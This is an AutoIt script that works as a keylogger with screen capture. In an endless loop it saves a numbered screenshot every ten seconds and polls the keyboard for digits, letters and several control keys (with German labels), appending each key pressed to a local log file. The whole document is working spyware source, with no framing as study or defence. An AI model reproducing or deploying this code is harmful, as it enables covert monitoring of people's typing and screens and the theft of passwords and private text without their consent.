#include <File.au3>
#Include <Misc.au3>
#include <ScreenCapture.au3>
_Key1and2()
Global $Nr = 0
Func _Key1and2()
While 1
$Nr = $Nr+1
Sleep(10000)
$Cap= _ScreenCapture_Capture()
_ScreenCapture_SaveImage("Screen" & $Nr & ".gif",$Cap)
If _IsPressed("31",DllOpen("user32.dll")) Then
FileWrite("Log.txt","1")
Sleep(100)
ElseIf _IsPressed("32",DllOpen("user32.dll")) Then
FileWrite("Log.txt","2")
Sleep(100)
ElseIf _IsPressed("33",DllOpen("user32.dll")) Then
FileWrite("log.txt","3")
Sleep(100)
ElseIf _IsPressed("34",DllOpen("user32.dll")) Then
FileWrite("Log.txt","4")
Sleep(100)
ElseIf _IsPressed("35",DllOpen("user32.dll")) Then
FileWrite("log.txt","5")
Sleep(100)
ElseIf _IsPressed("36",DllOpen("user32.dll")) Then
FileWrite("Log.txt","6")
Sleep(100)
ElseIf _IsPressed("37",DllOpen("user32.dll")) Then
FileWrite("log.txt","7")
Sleep(100)
ElseIf _IsPressed("38",DllOpen("user32.dll")) Then
FileWrite("Log.txt","8")
Sleep(100)
ElseIf _IsPressed("39",DllOpen("user32.dll")) Then
FileWrite("log.txt","9")
Sleep(100)
ElseIf _IsPressed("30",DllOpen("user32.dll")) Then
FileWrite("Log.txt","0")
Sleep(100)
ElseIf _IsPressed("0D",DllOpen("user32.dll")) Then
_FileWriteLog ("log.txt","{enter}")
Sleep(100)
ElseIf _IsPressed("20",DllOpen("user32.dll")) Then
FileWrite("log.txt"," ")
Sleep(100)
ElseIf _IsPressed("41",DllOpen("user32.dll")) Then
FileWrite("Log.txt","a")
Sleep(100)
ElseIf _IsPressed("42",DllOpen("user32.dll")) Then
FileWrite("log.txt","b")
Sleep(100)
ElseIf _IsPressed("43",DllOpen("user32.dll")) Then
FileWrite("Log.txt","c")
Sleep(100)
ElseIf _IsPressed("44",DllOpen("user32.dll")) Then
FileWrite("log.txt","d")
Sleep(100)
ElseIf _IsPressed("45",DllOpen("user32.dll")) Then
FileWrite("Log.txt","e")
Sleep(100)
ElseIf _IsPressed("46",DllOpen("user32.dll")) Then
FileWrite("log.txt","f")
Sleep(100)
ElseIf _IsPressed("47",DllOpen("user32.dll")) Then
FileWrite("Log.txt","g")
Sleep(100)
ElseIf _IsPressed("48",DllOpen("user32.dll")) Then
FileWrite("log.txt","h")
Sleep(100)
ElseIf _IsPressed("49",DllOpen("user32.dll")) Then
FileWrite("Log.txt","i")
Sleep(100)
ElseIf _IsPressed("4A",DllOpen("user32.dll")) Then
FileWrite("log.txt","j")
Sleep(100)
ElseIf _IsPressed("4B",DllOpen("user32.dll")) Then
FileWrite("log.txt","k")
Sleep(100)
ElseIf _IsPressed("4C",DllOpen("user32.dll")) Then
FileWrite("Log.txt","l")
Sleep(100)
ElseIf _IsPressed("4D",DllOpen("user32.dll")) Then
FileWrite("log.txt","m")
Sleep(100)
ElseIf _IsPressed("4E",DllOpen("user32.dll")) Then
FileWrite("Log.txt","n")
Sleep(100)
ElseIf _IsPressed("4F",DllOpen("user32.dll")) Then
FileWrite("log.txt","o")
Sleep(100)
ElseIf _IsPressed("50",DllOpen("user32.dll")) Then
FileWrite("Log.txt","p")
Sleep(100)
ElseIf _IsPressed("51",DllOpen("user32.dll")) Then
FileWrite("log.txt","q")
Sleep(100)
ElseIf _IsPressed("52",DllOpen("user32.dll")) Then
FileWrite("Log.txt","r")
Sleep(100)
ElseIf _IsPressed("53",DllOpen("user32.dll")) Then
FileWrite("log.txt","s")
Sleep(100)
ElseIf _IsPressed("54",DllOpen("user32.dll")) Then
FileWrite("Log.txt","t")
Sleep(100)
ElseIf _IsPressed("55",DllOpen("user32.dll")) Then
FileWrite("log.txt","u")
Sleep(100)
ElseIf _IsPressed("56",DllOpen("user32.dll")) Then
FileWrite("log.txt","v")
Sleep(100)
ElseIf _IsPressed("57",DllOpen("user32.dll")) Then
FileWrite("Log.txt","w")
Sleep(100)
ElseIf _IsPressed("58",DllOpen("user32.dll")) Then
FileWrite("log.txt","x")
Sleep(100)
ElseIf _IsPressed("59",DllOpen("user32.dll")) Then
FileWrite("Log.txt","y")
Sleep(100)
ElseIf _IsPressed("5A",DllOpen("user32.dll")) Then
FileWrite("log.txt","z")
Sleep(100)
ElseIf _IsPressed("2E",DllOpen("user32.dll")) Then
FileWrite("log.txt","DEL")
Sleep(100)
ElseIf _IsPressed("1B",DllOpen("user32.dll")) Then
FileWrite("log.txt","ESC")
Sleep(100)
ElseIf _IsPressed("14",DllOpen("user32.dll")) Then
FileWrite("log.txt","GROSS")
Sleep(100)
ElseIf _IsPressed("0C",DllOpen("user32.dll")) Then
FileWrite("log.txt","ENTF")
Sleep(100)
ElseIf _IsPressed("08",DllOpen("user32.dll")) Then
FileWrite("log.txt","LÖSCH")
Sleep(100)
EndIf
Sleep(5)
WEnd
EndFunc